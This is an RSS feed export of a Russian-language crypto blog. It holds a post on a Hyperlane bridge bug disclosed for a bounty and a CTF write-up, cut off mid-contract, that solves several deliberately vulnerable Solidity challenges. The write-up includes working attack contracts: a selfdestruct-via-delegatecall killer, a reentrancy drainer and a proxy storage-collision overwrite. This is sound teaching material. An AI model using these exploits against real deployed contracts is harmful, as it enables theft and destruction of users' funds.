<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>@findmeonchain</title><generator>teletype.in</generator><description><![CDATA[@findmeonchain]]></description><link>https://teletype.in/@findmeonchain?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=findmeonchain</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/findmeonchain?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/findmeonchain?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Wed, 15 Apr 2026 20:31:36 GMT</pubDate><lastBuildDate>Wed, 15 Apr 2026 20:31:36 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@findmeonchain/hyperlane-hack</guid><link>https://teletype.in/@findmeonchain/hyperlane-hack?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=findmeonchain</link><comments>https://teletype.in/@findmeonchain/hyperlane-hack?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=findmeonchain#comments</comments><dc:creator>findmeonchain</dc:creator><title>Хак Hyperlane</title><pubDate>Fri, 17 May 2024 17:05:49 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/c4/05/c405fb14-847c-4825-97a7-66e69a00340d.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/2f/82/2f82461a-c2fd-43a3-89e2-622a6c27b4de.png"></img>Мой товарищ делает небольшие проекты, связанные с мостами. Некоторое время назад я помогал ему с контрактами для LayerZero, а в начале апреля пришла очередь Hyperlane.]]></description><content:encoded><![CDATA[
  <figure id="Sb1P" class="m_retina">
    <img src="https://img3.teletype.in/files/2f/82/2f82461a-c2fd-43a3-89e2-622a6c27b4de.png" width="924" />
  </figure>
  <h3 id="wIP6">Обо мне</h3>
  <ul id="hUpQ">
    <li id="WFz2">Веду канал <a href="https://t.me/findmeonchain" target="_blank">@findmeonchain</a> о крипте. Там можно найти актуальные инвест идеи, забавные истории моих успехов и факапов, а также немного кода.</li>
    <li id="pL01">Есть опыт работы Solidity разработчиком, последнее время пишу на js/ts.</li>
  </ul>
  <h3 id="svF9">TLDR</h3>
  <ul id="vgUv">
    <li id="4hCz">Нашел баг в контракте Hyperlane уровня medium. С его помощью можно было отправлять средства из одной сети в другую бесплатно.</li>
    <li id="vJ2S">Связался с командой и получил выплату в 5000$ на площадке Immunefi.</li>
  </ul>
  <h3 id="QgFy">Как был найден баг?</h3>
  <p id="lep0">Мой товарищ делает небольшие проекты, связанные с мостами. Некоторое время назад я помогал ему с контрактами для LayerZero, а в начале апреля пришла очередь Hyperlane.</p>
  <p id="Atgy">Написанный контракт работал. Транзакции проходили, всё было в порядке. Однако мы заметили, что они иногда долго исполняются. Подумали, что это фича моста и забили.</p>
  <p id="TQwr">На следующий день приходит товарищ и говорит:</p>
  <blockquote id="XYB8"><em>У нас какая-то ошибка в контракте. Посмотри, у конкурентов транзакция имеет 4 трансфера эфира, а у нас один. Причем с нас не взымается плата.</em></blockquote>
  <p id="r2m8">Наша транзакция с &quot;багом&quot;:</p>
  <figure id="RxjG" class="m_retina">
    <img src="https://img2.teletype.in/files/dd/67/dd67a814-cf82-4187-bd9b-e081de7f629e.png" width="492.5" />
  </figure>
  <p id="kZou">Правильная транзакция через чужой контракт:</p>
  <figure id="BJd0" class="m_retina">
    <img src="https://img2.teletype.in/files/94/43/94436fdd-ea56-4839-880c-8a162357ce24.png" width="578.5" />
  </figure>
  <p id="2nWM">Сначала я не поверил в наличие бага, ведь транзакции проходят в обеих сетях. Но товарищ меня убедил, что мы действительно используем мост бесплатно. </p>
  <h3 id="OP4M">Откуда он взялся?</h3>
  <p id="CDkc">Пришлось детально изучить различие вызовов при помощи <a href="https://dashboard.tenderly.co/explorer" target="_blank">tenderly.</a> Тогда и стало ясно, что баг не у нас, а в контрактах Hyperlane. Тем не менее, я пошел дальше и изучил свой код. Подумал где бы могла быть ошибка. Оказалось, что я по невнимательности поставил нулевую оплату за мост.</p>
  <section style="background-color:hsl(hsl(236, 74%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <pre id="mDsn" data-lang="javascript">function transferRemote(
        uint32 _dstChain,
        bytes32 _receiver,
        uint256 _tokenId
) external payable override(TokenRouter) returns (bytes32 messageId) {
        ... // very important bridge checks 
        messageId = _transferRemote(
                          _dstChain,
                          _receiver,
                          _tokenId,
                          0  // !HERE IT IS!
                     );
}</pre>
  </section>
  <p id="ENcE">Согласно комментарию в коде контракта TokenRouter, написанным командой Hyperlane, параметры должны быть такими:</p>
  <pre id="gocA" data-lang="javascript">/**
     * @notice Transfers &#x60;_amountOrId&#x60; token to &#x60;_recipient&#x60; on &#x60;_destination&#x60; domain.
     * @dev Delegates transfer logic to &#x60;_transferFromSender&#x60; implementation.
     * @dev Emits &#x60;SentTransferRemote&#x60; event on the origin chain.
     * @param _destination The identifier of the destination chain.
     * @param _recipient The address of the recipient on the destination chain.
     * @param _amountOrId The amount or identifier of tokens to be sent to the remote recipient.
     * @param _gasPayment The amount of native token to pay for interchain gas.
     * @return messageId The identifier of the dispatched message.
     */</pre>
  <p id="5FIe"><code>@param _gasPayment The amount of native token to pay for interchain gas</code> — параметр, в котором была ошибка. Туда должна идти какая-то плата за услуги моста, но я поставил 0!</p>
  <p id="XViT">Казалось бы, это точно должно выдавать ошибку транзакции, но у нас всё проходило и контракты работали.</p>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="gBqP">Почему это всё тестируется на проде, а не в тестнете или локально?<br /><br />Зачастую, тестнет транзакции у мостов исполняются очень медленно. Поскольку они бесплатные, проекты ставят ограничения на их исполнение. Локально же ситуация может отличаться от той, что есть в реальности. К тому же в мейннете есть удобные инструменты вроде etherscan/tenderly, через которые легче задебагать какие-то моменты. Я пришел к выводу, что лучший путь — деплоить контракты в дешевых сетях и тестировать их там.</p>
    <p id="qnBD"><strong>Это не относится к логике контракта, которую можно протестировать локально. Так я тестирую только cross chain функционал.</strong></p>
  </section>
  <h3 id="WZLg">Обращение к команде</h3>
  <p id="ibVJ">Покопавшись в архитектуре Hyperlane я понял, что у них довольно сложная система. На изучение всех контрактов и нюансов ушло бы очень много времени, которого у меня не было. Недолго думая я пишу им в дискорд сообщение такого содержания:</p>
  <blockquote id="eyLH"><em> I&#x27;ve found high/critical bug in mailbox/hook contract. User funds are not affected. Is there anyone I could talk to?</em></blockquote>
  <p id="1K32">В ответ на которое мне кидают ссылку на immunefi — платформу для репорта багов и выплат наград по ним. Команда довольно быстро посмотрела мой отчет но не поняла суть (как и я в первый раз). Они тоже не заметили ничего странного!</p>
  <p id="nkAW">Пришлось также на примерах им объяснить, что я совершаю транзакции бесплатно. Они подтвердили, что что-то не так и взяли больше времени на изучение.</p>
  <h3 id="pWXk">Финал</h3>
  <p id="K1a3">Спустя некоторое время я получаю ответ:</p>
  <blockquote id="Z8ku"><em>After reviewing your bug report, we believe that it is in scope for our bug bounty program and <strong>the threat level is Medium.</strong></em></blockquote>
  <section style="background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="QrhG">Определение уязавимости medium уровня:</p>
    <p id="hkYh">- Smart contract unable to operate due to lack of token funds<br />- Block stuffing for profit<br />- Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol) — <strong>В эту категорию попадает найденный баг</strong><br />- Theft of gas — <strong>В эту категорию попадает найденный баг</strong><br />- Unbounded gas consumption</p>
  </section>
  <figure id="DhsX" class="m_custom" data-caption-align="center">
    <img src="https://img2.teletype.in/files/dc/fc/dcfc8eed-eead-47bf-8196-de2008931cf5.png" width="532" />
    <figcaption>Я очень обрадовался, ведь баг даже Medium уровня обещает солидную награду.</figcaption>
  </figure>
  <p id="2scB">В архитектуре Hyperlane есть набор контрактов-хуков, которые позволяют выполнять какую-либо особую и заданную логику. В частности, делать refuel, считать комиссии за транзакцию и тд.</p>
  <p id="BTw7">Вызываются все хуки по очереди после вызова функции моста. Ни в одном из стандартных хуков не было проверок на достаточное количество оплаты перед переходом дальше, поэтому вызов доходил вплоть до самого последнего, который и оплачивал транзакцию из своего кармана (если на нем остались средства после refuel-ов). Обычно команда быстро забирала средства с контракта, однако иногда оставались 30$-50$, которыми можно было воспользоваться.</p>
  <p id="9Ntt">Таким образом удавалось практически бесплатно отправить транзакцию через Hyperlane — оплатив лишь комиссию сети.</p>
  <h3 id="gvG8">Успех! 🎉</h3>
  <p id="lvVD">Через некоторое время росыпаюсь, проверяю телегу и понимаю, что день начался хорошо:</p>
  <figure id="8NOC" class="m_retina">
    <img src="https://img4.teletype.in/files/f7/7a/f77a970e-7574-4bf2-bfb7-1541e986ba4c.png" width="413.5" />
  </figure>
  <p id="3BiN">Списываемся с товарищем и делим награду пополам.</p>
  <h3 id="Ar8z">Итоги</h3>
  <p id="Em98">Для меня это первый подобный опыт. Раньше мне никогда не удавалось найти багов в уже используемых контрактах проектов. В этой ситуации мне, безусловно, повезло обнаружить его из-за ошибки с моей стороны. Прямо ощутил себя крутым Whitehat-ом из крипто твиттера!</p>
  <p id="AYEt">Спасибо команде Hyperlane за сотрудничество, приятно было с ними работать. На мой вгляд, они создают важный продукт — один из самых децентрализованных и технологически многогранных мостов (как для средств, так и сообщений), желаю им успеха в дальнейшем развитии.</p>
  <p id="SsuS"></p>
  <section style="background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="9nnC">Спасибо за уделенное время!</p>
    <p id="nkLq">Если вам понравилась статья, <a href="https://t.me/findmeonchain" target="_blank">подписывайтесь на мой канал</a>. Вряд ли я найду ещё один баг на проде у крупного проекта, но ещё точно будет что почитать и обсудить :)</p>
  </section>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@findmeonchain/S9SaA6h6Jg6</guid><link>https://teletype.in/@findmeonchain/S9SaA6h6Jg6?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=findmeonchain</link><comments>https://teletype.in/@findmeonchain/S9SaA6h6Jg6?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=findmeonchain#comments</comments><dc:creator>findmeonchain</dc:creator><title>CTF | Mixbytes farm | Autumn'23</title><pubDate>Sun, 03 Dec 2023 17:06:20 GMT</pubDate><description><![CDATA[<img src="https://img1.teletype.in/files/46/b1/46b1f736-9041-4927-b3cf-2ca876e3221a.png"></img>С 30.12.23 по 3.12.23 проходил CTF в рамках MixBytes Farm. В этой статье рассмотрены условия задач и их решения.]]></description><content:encoded><![CDATA[
  <figure id="ZwsR" class="m_original">
    <img src="https://img1.teletype.in/files/46/b1/46b1f736-9041-4927-b3cf-2ca876e3221a.png" width="600" />
  </figure>
  <p id="AFiT">С 30.12.23 по 3.12.23 проходил CTF в рамках MixBytes Farm. В этой статье рассмотрены условия задач и их решения.</p>
  <nav>
    <ul>
      <li class="m_level_1"><a href="#L7OJ">Задача 0 | Executor | Сложность 3/10</a></li>
      <li class="m_level_2"><a href="#WQBc">Условие</a></li>
      <li class="m_level_2"><a href="#h9kO">Решение</a></li>
      <li class="m_level_1"><a href="#LHXh">Задача 1 | Bank2 | Сложность 4/10</a></li>
      <li class="m_level_2"><a href="#ji1t">Условие</a></li>
      <li class="m_level_2"><a href="#b7DF">Решение</a></li>
      <li class="m_level_1"><a href="#8Y6s">Задача 2 | Buckets | Сложность 3/10</a></li>
      <li class="m_level_2"><a href="#IfiN">Условие</a></li>
      <li class="m_level_2"><a href="#iT6x">Решение</a></li>
      <li class="m_level_1"><a href="#Fke0">Задача 3 | Serious Business Investment | Сложность 4/10</a></li>
      <li class="m_level_2"><a href="#xZvD">Условие</a></li>
      <li class="m_level_2"><a href="#WsoL">Решение</a></li>
      <li class="m_level_1"><a href="#HOLj">Задача 4 | Totalizator | Сложность 10/10</a></li>
      <li class="m_level_2"><a href="#xQdV">Условие</a></li>
      <li class="m_level_2"><a href="#hrIm">Решение</a></li>
    </ul>
  </nav>
  <h2 id="L7OJ">Задача 0 | Executor | Сложность 3/10</h2>
  <h3 id="WQBc"><strong>Условие</strong></h3>
  <blockquote id="U05h">There is standard proxy pattern with delegatecall. But the owner want to execute arbitary code via execute method. To complete this round you should broke Executor contract to make it impossible to call <code>execute</code>.</blockquote>
  <pre id="IKTp" data-lang="javascript">// SPDX-License-Identifier: MIT

pragma solidity &lt;0.7.0;

import &quot;@openzeppelin/contracts-legacy/utils/Address.sol&quot;;
import &quot;@openzeppelin/contracts-legacy/proxy/Initializable.sol&quot;;


contract Proxy {
    // bytes32(uint256(keccak256(&quot;eip1967.proxy.implementation&quot;)) - 1)
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    
    struct AddressSlot {
        address value;
    }
    
    constructor(address _logic) public {
        require(Address.isContract(_logic), &quot;e/implementation_not_contract&quot;);
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;

        (bool success,) = _logic.delegatecall(
            abi.encodeWithSignature(&quot;initialize()&quot;)
        );

        require(success, &quot;e/call_failed&quot;);
    }

    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // proxy fallback
    fallback() external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}


contract Executor is Initializable {
    address public owner;

    function initialize() external initializer {
        owner = msg.sender;
    }

    modifier onlyOwner {
        require(msg.sender == owner, &quot;e/not_owner&quot;);
        _;
    }
    
    function execute(address logic) external payable {
        (bool success,) = logic.delegatecall(abi.encodeWithSignae(&quot;exec()&quot;));
        require(success, &quot;e/call_fail&quot;);
    }
}</pre>
  <p id="wcPf"></p>
  <h3 id="h9kO">Решение</h3>
  <p id="JUKf"><u><strong>Pre-read</strong></u></p>
  <ul id="Dtme">
    <li id="HeU4"><a href="https://eips.ethereum.org/EIPS/eip-1822" target="_blank">EIP1822</a> - почитать об устройстве прокси</li>
    <li id="r9ZZ"><a href="https://solidity-by-example.org/delegatecall/" target="_blank">Delegatecall</a></li>
    <li id="OUZW"><a href="https://ethernaut.openzeppelin.com/level/0x3A78EE8462BD2e31133de2B8f1f9CBD973D6eDd6" target="_blank">Аналогичная задача на Ethernaut</a></li>
  </ul>
  <p id="zUve"><u><strong>Идея</strong></u></p>
  <ul id="J9Wo">
    <li id="K0fm">Задача на понимание Proxy и delegatecall</li>
    <li id="9zKm">delegatecall позволяет вызывать функции другого контракта, работая при этом с данными вызывающего контракта. Так работают любые Proxy</li>
    <li id="AW3Y">Чтобы запретить вызов execute, нужно сменить имплементацию в Proxy контракте, либо удалить саму имплементацию</li>
  </ul>
  <p id="NQBz"><u><strong>Решение</strong></u></p>
  <ul id="DBrw">
    <li id="1JPk">Заметим, что в самой имплементации есть функция, содержащая delegatecall, при этом не закрыта модификатором onlyOwner</li>
    <li id="DFpr">Можно вызвать функцию execute напрямую в имплементации, направив в наш контракт, содержащий selfdestuct. В таком случае любой вызов к имплементации через Proxy будет падать</li>
    <li id="7KmV">Достаем адрес имплементации из транзакции деплоя или из слота в прокси и выполняем атаку:</li>
  </ul>
  <pre id="ol1j" data-lang="javascript">contract Killer {
    address public killerOwner = *Your-address*;
    address public executor = *Your-executor-implementation-address*;

    function kill() public payable {
       Executor(executor).execute(address(this));
    }
    function exec() public {
        address payable addr = payable(address(killerOwner));
        selfdestruct(addr);
    }
}</pre>
  <p id="cuWP">Вызываем функцию kill() у нашего контракта. Следом Executor вызовет exec() в нашем контракте через delegatecall. Таким образом, контракт Executor будет уничтожен, а задача решена.</p>
  <h2 id="LHXh">Задача 1 | Bank2 | Сложность 4/10</h2>
  <h3 id="ji1t"><strong>Условие</strong></h3>
  <blockquote id="AWe1">You have a deal with simple bank contract. To complete the level you should steal all funds from contract.</blockquote>
  <pre id="HxQp" data-lang="javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Bank2 {
  // Bank2 stores users&#x27; deposits in ETH and pays personal bonuses in ETH to its best clients
  mapping (address =&gt; uint256) private _balances;
  mapping (address =&gt; uint256) private _bonuses_for_users;
  uint256 public totalUserFunds;
  uint256 public totalBonusesPaid;
  
  bool public completed;
  
  constructor() payable {
    require(msg.value &gt; 0, &quot;need to put some ETH to treasury during deployment&quot;);
    // first deposit for our beloved DIRECTOR
    _balances[0xd3C2b1b1096729b7e1A13EfC76614c649Ba96F34] = msg.value;
  }

  receive() external payable {
    require(msg.value &gt; 0, &quot;need to put some ETH to treasury&quot;);
    _balances[msg.sender] += msg.value;
    totalUserFunds += msg.value;
  }

  function balanceOfETH(address _who) public view returns(uint256) {
    return _balances[_who];
  }

  function giveBonusToUser(address _who) external payable {
    require(msg.value &gt; 0, &quot;need to put some ETH to treasury&quot;);
    require(_balances[_who] &gt; 0, &quot;bonuses are only for users having deposited ETH&quot;);
    _bonuses_for_users[_who] += msg.value;
  }
  
  function withdraw_with_bonus() external {
    require(_balances[msg.sender] &gt; 0, &quot;you need to store money in Bank2 to receive rewards&quot;);
    
    uint256 rewards = _bonuses_for_users[msg.sender];
    if (rewards &gt; 0) {
        address(msg.sender).call{value: rewards, gas: 1000000 }(&quot;&quot;);
        totalBonusesPaid += rewards;
        _bonuses_for_users[msg.sender] = 0;
    }

    totalUserFunds -= _balances[msg.sender];
    _balances[msg.sender] = 0;
    address(msg.sender).call{value: _balances[msg.sender], gas: 1000000 }(&quot;&quot;);
  }

  function setCompleted(bool _completed) external payable {
    // Bank2 is robbed when its balance becomes less than DIRECTOR has
    require(address(this).balance &lt; _balances[0xd3C2b1b1096729b7e1A13EfC76614c649Ba96F34], &quot;ETH balance of contract should be less, than Mavrodi initial deposit&quot;);
    completed = _completed;
  }
}</pre>
  <p id="xDkN"></p>
  <h3 id="b7DF">Решение</h3>
  <p id="ps80"><u><strong>Pre-read</strong></u></p>
  <ul id="Dtme">
    <li id="Tpz0"><a href="https://solidity-by-example.org/hacks/re-entrancy/" target="_blank"><strong>Reentrancy</strong></a></li>
  </ul>
  <p id="Ef0w"><u><strong>Идея</strong></u></p>
  <ul id="J9Wo">
    <li id="IcQn">Надо знать о паттерне checks - effects - interactions. Его суть заключается в том, что обращения к внешним контрактам и пересылку эфира нужно делать уже после изменения состояния контракта. Иначе есть шанс попасться на Reentrancy.</li>
  </ul>
  <p id="db4d"><u><strong>Решение</strong></u></p>
  <ul id="DBrw">
    <li id="qUcV">Просмотрев внимательно контракт замечаем, что в функции <code>withdraw_with_bonus() </code>идёт пересылка нативного токена до изменения состояния контракта. Это приводит к возможности Reentrancy атаки.</li>
    <li id="ZG79">Увидев эту уязвимость, реализация уже остаётся делом техники:</li>
  </ul>
  <pre id="9Ybt" data-lang="javascript">contract ReentrancyContract {
    address public target = *Your-bank-address*;
    address public hacker = *Your-address*;
    uint256 public donated;
    
    // используем эту функцию для депозита и внесения доната
    function setup() public payable {
        uint256 deposit = msg.value / 2;
        donated = msg.value / 2;
        address(payable(target)).call{value: deposit}(&quot;&quot;);
        Bank2(payable(target)).giveBonusToUser{value: donated}(address(this));
    }
    
    function startHack() public payable {
        uint256 balanceToDrain = address(payable(target)).balance
                    - Bank2(payable(target)).balanceOfETH(address(this));
        uint256 drainRemainder = address(payable(target)).balance % donated;
        uint256 interationCount = address(payable(target)).balance / donated;
        if (drainRemainder != 0) {
            Bank2(payable(target)).giveBonusToUser{value: drainRemainder}(address(this));
            interationCount++;
        }
        // start reentrancy
        Bank2(payable(target)).withdraw_with_bonus();
    }
    
    // Выводим добычу с контракта
    function withdraw() public {
        hacker.call{value: address(this).balance}(&quot;&quot;);
    }

    receive() external payable {
        if(address(target).balance &gt; 0) {
            Bank2(payable(target)).withdraw_with_bonus();
        }
    }
}</pre>
  <p id="zKDz">Для начала вызываем функцию <code>setup()</code> и готовимся к атаке, затем выполняем атаку при помощи функции <code>startHack()</code></p>
  <figure id="RvzK" class="m_original" data-caption-align="center">
    <img src="https://img4.teletype.in/files/b7/df/b7dfe3ce-45ee-48e4-aa98-1851f7d4cb3e.png" width="618" />
    <figcaption>Атака выполнена успешно</figcaption>
  </figure>
  <h2 id="8Y6s">Задача 2 | Buckets | Сложность 3/10</h2>
  <h3 id="IfiN"><strong>Условие</strong></h3>
  <blockquote id="FE9p">Finally, a smart contract where you can throw your money in the bucket! SuperDevTeam developed a contract Buckets. In that contract you can put Ether in any of the available buckets and get bucket tokens and vice versa. The team wanted to be able to upgrade the contract so they used a standard proxy pattern via OpenZeppelin&#x27;s ERC1967Proxy. All interactions with buckets go through the proxy contract.                                                                                                                             To complete this level you must break the system so it would become impossible to call <code>Buckets(proxyAddress).totalSupply()</code>.</blockquote>
  <p id="Am3F"></p>
  <pre id="69pM" data-lang="javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import &quot;@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol&quot;;
import &quot;@openzeppelin/contracts/token/ERC20/ERC20.sol&quot;;
import &quot;@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol&quot;;

contract BucketsProxy is ERC1967Proxy {
    // a secret to change the proxy admin in case of an emergency
    // e. g. if the original admin dies
    uint256 private salt;

    constructor(address logic, uint256 premint) ERC1967Proxy(logic, abi.encodeWithSelector(Buckets.initialize.selector, premint)) {
        _changeAdmin(msg.sender);
    }

    // a failsafe admin has a secret address derived from the 256bit secret
    // we allow the method to be called by anyone to not to reveal secret failsafe addresses
    function setFailsafeAdmin(uint256 salt_) external {
        require(salt_ != 0, &quot;SALT_CANNOT_BE_ZERO&quot;);
        salt = salt_;
    }

    // only the address that matches the secret should be able to run this method
    // this method should be called in emergency cases when the original administrator has disappeared
    function changeAdmin() external {
        require(keccak256(abi.encode(salt, msg.sender)) == keccak256(abi.encode(_getAdmin())));
        _changeAdmin(msg.sender);
    }

    // upgrade the Buckets implementation
    function upgradeTo(address newImplementation) external {
        require(_getAdmin() == msg.sender, &quot;ADMIN_ONLY&quot;);
        _upgradeTo(newImplementation);
    }
}

abstract contract BucketsBase {
    uint256[] public buckets;
}

contract Buckets is BucketsBase, Initializable, ERC20 {
    uint256 private constant MAX_BUCKETS = 10;

    constructor() ERC20(&quot;Buckets&quot;, &quot;Bucket&quot;) {}

    function initialize(uint256 premint) external initializer {
        buckets = new uint256[](MAX_BUCKETS);
        
        // developers&#x27; treasury
        buckets[0] = premint;
        _mint(msg.sender, premint);
    }

    // put some ether in a bucket and mint bucket tokens
    function deposit(uint256 bucketNumber) external payable {
        buckets[bucketNumber] += msg.value;
        _mint(msg.sender, msg.value);
    }

    // withdraw some ether from a bucket and burn bucket tokens
    function withdraw(uint256 bucketNumber, uint256 amount) external {
        buckets[bucketNumber] -= amount;
        _burn(msg.sender, amount);
        payable(msg.sender).transfer(amount);
    }
}</pre>
  <p id="2Tc0"></p>
  <h3 id="iT6x">Решение</h3>
  <p id="yias"><u><strong>Pre-read</strong></u></p>
  <ul id="Dtme">
    <li id="I1cP"><a href="https://mixbytes.io/blog/collisions-solidity-storage-layouts" target="_blank">Storage collisions</a></li>
  </ul>
  <p id="qav5"><u><strong>Идея</strong></u></p>
  <ul id="J9Wo">
    <li id="nLL6">Чтобы решить эту задачу, нам нужно базовое понимание устройства EVM. Важно знать как хранятся переменные разного типа.</li>
    <li id="R8bL">А именно, важно понимать, <a href="https://docs.soliditylang.org/en/latest/internals/layout_in_storage.html#mappings-and-dynamic-arrays" target="_blank">как хранится динамический массив</a>.</li>
  </ul>
  <p id="JWcu"><u><strong>Решение</strong></u></p>
  <ul id="DBrw">
    <li id="O24I">Довольно быстро можно заметить, что <code>salt </code>и массив <br /><code>uint256[] public buckets</code>пересекаются и делят один слот - <em>ошибка в использовании Proxy</em>.</li>
    <li id="i9W5">Увидев эту уязвимость, пытаемся найти способ её использовать. Поскольку массив бесконечный, мы можем перезаписать любой слот, следующий за нулевым элементом этого массива (ведь они хранятся один за одним).</li>
    <li id="P6I2"><a href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/ERC1967/ERC1967Proxy.sol#L35" target="_blank">Зная слот прокси</a> и слот нулевого индекса массива (вычисляется так: к<code>keccak256(web3.eth.abi.encodeParameters([&quot;uint256&quot;], [0]))</code>), вычисляем нужный индекс элемента <code>proxy_slot - zero_index_slot и</code> получаем нужный элемент массива</li>
    <li id="oMJS">Отправляем 2 транзакции:</li>
  </ul>
  <pre id="lp6c" data-lang="javascript">// salt = type(uint256).max, чтобы сделать массив бесконечной длины
function setFailsafeAdmin(uint256 salt_) external {
        require(salt_ != 0, &quot;SALT_CANNOT_BE_ZERO&quot;);
        salt = salt_;
    }
   }
}
// bucketNumber = proxy_slot - zero_index_slot
function deposit(uint256 bucketNumber) external payable {
        buckets[bucketNumber] += msg.value;
        _mint(msg.sender, msg.value);
    }</pre>
  <p id="4g6N">Задача успешно решена, ведь мы перетерли адрес имплементации!</p>
  <p id="Yxty"></p>
  <h2 id="Fke0">Задача 3 | Serious Business Investment | Сложность 4/10</h2>
  <h3 id="xZvD"><strong>Условие</strong></h3>
  <blockquote id="Nuxt">You found a serious investment crypto company with a high daily profit. You can invest there from 0.01 to 0.05 ETH and get profit for all your life! In addition with a first deposit you get some bonus NFT manki. There are three types of mankis&#x27; NFTs: bronze, silver and gold. You may keep it and sell one day for big money. Or you can bring it back to company&#x27;s contract after some time (from 1 to 3 months depending from the type of your manki). Finally you found out, that there may be some problem in calculation of your daily profit. Can you find another way to get money from the contract? To pass this level the resulting balance of company&#x27;s contract should be less than 0.01 ETH</blockquote>
  <p id="FOPC"></p>
  <pre id="fEdU" data-lang="javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

// Bonus NFT for every investor
// Get one free with the first deposit, sell later for 100.000$ or more*
// After some holding time it can be burned for a bonus
interface IMegaMankiNFT {
    // Mint NFT to a new investor (called only by the Company)
    function mint(address to, uint tokenId) external;

    // Burn NFT to claim a bonus (called only by the Company)
    function burn(uint tokenId) external;

    function ownerOf(uint256 tokenId) external view returns (address);

    // Timestamp after which it&#x27;s possible to burn NFT
    // The higher rank of NFT, the lower will be delay
    function burnUnlockTime(uint tokenId) external view returns (uint unlockTime);
}

// Welcome to our high-profitable investment company
// You can make one deposit from 0.01 to 0.05 and get percents for all your life!
// Also get a bonus NFT with your deposit
contract SeriousBusinessInvestment {
    address public owner;
    mapping(string =&gt; IMegaMankiNFT) public bonusNfts;
    uint public nftCounter = 1;
    enum NFT_USER_STATUS {NOT_GENERATED, GENERATED, BURNED}

    uint public MIN_DEPO = 10 ** 16;
    uint public MAX_DEPO = 5 * 10 ** 16;
    uint public NFT_BURN_REWARD = 3 * 10 ** 15;
    uint[4] public AMOUNT_STEPS = [2 * 10 ** 16, 3 * 10 ** 16, MAX_DEPO];
    string[3] public RANKS = [&quot;bronze&quot;, &quot;silver&quot;, &quot;gold&quot;];
    uint[3] public DAILY_PERCENTS = [2, 3, 5];
    
    mapping(address =&gt; Stake) public stakes;

    struct Stake {
        uint stake;
        uint nftId;
        string rank;
        NFT_USER_STATUS nftStatus;
        uint percent;
        uint lastTime;
    }

    constructor() {
        owner = msg.sender;
    }

    receive() external payable {}

    function pendingProfit() public view returns (uint) {
        Stake storage stake = stakes[msg.sender];
        require(stake.lastTime &gt; 0, &quot;At first you need to deposit!&quot;);
        uint fulldaysPast = (block.timestamp - stake.lastTime) / 1 days;
        return stake.percent / 100 * fulldaysPast * stake.stake;
    }

    function withdrawProfit() public {
        Stake storage stake = stakes[msg.sender];
        uint profit = pendingProfit();
        stake.lastTime = block.timestamp;
        payable(msg.sender).transfer(profit);
    }

    function deposit() payable public {
        require(!(msg.value &lt; MIN_DEPO), &quot;You are unable to deposit less than MIN_DEPO&quot;);
        require(!(msg.value &gt; MAX_DEPO), &quot;You are unable to deposit more than MAX_DEPO&quot;);
        Stake storage stake = stakes[msg.sender];
        require(stake.stake == 0, &quot;One user can make only one deposit&quot;);
        stake.stake = msg.value;
        stake.lastTime = block.timestamp;
        for (uint i = 0; i &lt; AMOUNT_STEPS.length; i++) { 
            if (msg.value &lt; AMOUNT_STEPS[i]) {
                stake.rank = RANKS[i];
                stake.percent = DAILY_PERCENTS[i];
            }
        }
        stake.nftStatus = NFT_USER_STATUS.GENERATED;
        IMegaMankiNFT(bonusNfts[stake.rank]).mint(msg.sender, nftCounter++);
    }

    function claimNftReward(uint nftId) public {
        Stake storage stake = stakes[msg.sender];
        require(stake.nftStatus == NFT_USER_STATUS.GENERATED, &quot;Nft for this user is already burnt or not created&quot;);
        require(nftId &gt; 0, &quot;Wrong token id&quot;);
        IMegaMankiNFT nft = bonusNfts[stake.rank];
        require(nft.ownerOf(nftId) == msg.sender, &quot;This NFT doesn&#x27;t belong to the caller&quot;);
        require(nft.burnUnlockTime(nftId) &lt;= block.timestamp, &quot;It&#x27;s too early to burn NFT&quot;);
        payable(msg.sender).transfer(NFT_BURN_REWARD);
        nft.burn(nftId);
        stake.nftStatus = NFT_USER_STATUS.BURNED;
    }

    function nftContractsInitializer(string memory rank, address nft) public {
